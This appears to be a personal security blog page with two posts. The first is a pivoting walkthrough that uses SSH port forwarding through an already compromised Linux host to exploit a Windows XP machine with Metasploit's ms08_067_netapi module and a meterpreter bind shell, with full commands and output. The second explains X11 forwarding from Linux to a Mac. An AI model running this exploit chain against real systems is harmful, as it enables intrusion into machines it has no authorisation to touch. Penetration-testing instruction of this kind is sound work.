We assume that you have fully compromised Host A with root rights. By doing so, you should already have the root credentials to remotely ssh to Host A, the objective is to further compromise Host B.
On Attacker Host
We map port 445 to localhost using ssh.
# ssh -L 445:192.168.52.134:445 root@192.168.0.191 root@192.168.0.191's password: Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.13.0-32-generic i686) Last login: Tue Jun 20 05:59:22 2017 root@hostA:~#
Since we'll be exploiting Host A using msf, I would like to map the meterpreter port 4444
locally too. The above command, we can port fwd 2 services in 1 command:
# ssh -L 445:192.168.52.134:445 -L 4444:192.168.52.134:4444 root@192.168.0.191
On another terminal on Host A, check your netstat:
# netstat -an | more
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:4444 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:445 0.0.0.0:* LISTEN
tcp 0 0 192.168.0.182:49620 192.168.0.191:22 ESTABLISHED
<--snip-->
Now we have 2 ports mapped to localhost. Lets use nmap to fingerpring the OS of host B, note
that Host B is not listening on port 445 on Host A as localhost:
# nmap -A -p 445 127.0.0.1 Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-20 09:16 SGT Nmap scan report for localhost (127.0.0.1) Host is up (0.000088s latency). PORT STATE SERVICE VERSION 445/tcp open microsoft-ds Windows XP microsoft-ds Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.8 - 4.6 Network Distance: 0 hops Service Info: OS: Windows XP; CPE: cpe:/o:microsoft:windows_xp Host script results: |_clock-skew: mean: 17h28m05s, deviation: 0s, median: 17h28m05s | smb-os-discovery: | OS: Windows XP (Windows 2000 LAN Manager) | OS CPE: cpe:/o:microsoft:windows_xp::- | Computer name: tt-af6d434411ff | NetBIOS computer name: TT-AF6D434411FF | Workgroup: WORKGROUP |_ System time: 2017-06-20T11:45:10-07:00 | smb-security-mode: | account_used: <blank> | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_smbv2-enabled: Server doesn't support SMBv2 protocol OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.33 seconds
Great! now we can see the OS type is WinXP, lets use msf to exploit it using netapi:
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp
I changed the payload to bind_tcp instead of reverse_tcp because the port 4444 is already
listening and reverse_tcp won't work if it is.
msf exploit(ms08_067_netapi) > show options Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 127.0.0.1 yes The target address RPORT 445 yes The SMB service port (TCP) SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LPORT 4444 yes The listen port RHOST 127.0.0.1 no The target address Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) > run [*] Started bind handler [*] Sending stage (957487 bytes) to 127.0.0.1 [*] 127.0.0.1:445 - Automatically detecting the target... [*] 127.0.0.1:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English [*] 127.0.0.1:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX) [*] 127.0.0.1:445 - Attempting to trigger the vulnerability... [*] Meterpreter session 1 opened (127.0.0.1:40987 -> 127.0.0.1:4444) at 2017-06-20 09:31:22 +0800 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter >
There you go! Some people might ask, how do I portscan host B from the attacker host? Unfortunately,
because Host B is a Windows machine and doesn't have openSSH installed, we can't setup the SOCKS
service using ssh. If this happens, you got to rely on Host A directly to recon Host B.
In the next article, I will discuss about how to pivot from a Windows host.
Sunday, July 2, 2017
Exporting X Session From Linux to Mac
I primarily work on Linux and Mac for different reasons, firstly for the fun of it, and I get to savour the best that these different Operating Systems has to offer. There are times I would like to take some dev work onto my Mac, however, the app resides on my Linux host that requires a graphical environment that is exclusive on my Linux host. This graphical session is known as Xwindow system. With Xwindow, you can export graphical sessions to another host to run apps without having to install the app on the machine that you are running it on! That means you can run Linux apps on a Mac or Windows host.
The traditional method was to export Xwindow using the 'xhost +myremotehost.com' and 'export DISPLAY=myremotehost.com:0.0' command, but it also requires me to poke more holes in my firewall to allow the Xwindow session thru. This method is not recommended as there are known security risks associated with exporting X remotely as the session can be sniffed or worse hijacked. One way to securely export Xwindow is to use the built X11 forwarding function in OpenSSH. It allows you to export Xwindow via a ssh session that is encrypted by default.
On the Linux host where the graphical apps resides, ensure the following lines are enabled in /etc/ssh/sshd_config:
The traditional method was to export Xwindow using the 'xhost +myremotehost.com' and 'export DISPLAY=myremotehost.com:0.0' command, but it also requires me to poke more holes in my firewall to allow the Xwindow session thru. This method is not recommended as there are known security risks associated with exporting X remotely as the session can be sniffed or worse hijacked. One way to securely export Xwindow is to use the built X11 forwarding function in OpenSSH. It allows you to export Xwindow via a ssh session that is encrypted by default.
On the Linux host where the graphical apps resides, ensure the following lines are enabled in /etc/ssh/sshd_config:
X11Forwarding yes
X11DisplayOffset 10
Make sure you restart/reload ssh after making changes.
If you are running MacOS 10.x and above, you will need to download XQuartz. Unfortunately, newer MacOs do not support the same X server that Linux does. Further instructions on where and how to download XQuartz can be found, here.
Once that is done, on your Mac host, launch XQuartz -> Application -> xterm and ssh to your Linux host with the -X flag:
Once you have successfully authenticated, just launch your fav X application:
There you go! You now have a Linux app that runs on Mac. Pretty cool huh? Well for me atleast :-p
Subscribe to:
Posts (Atom)














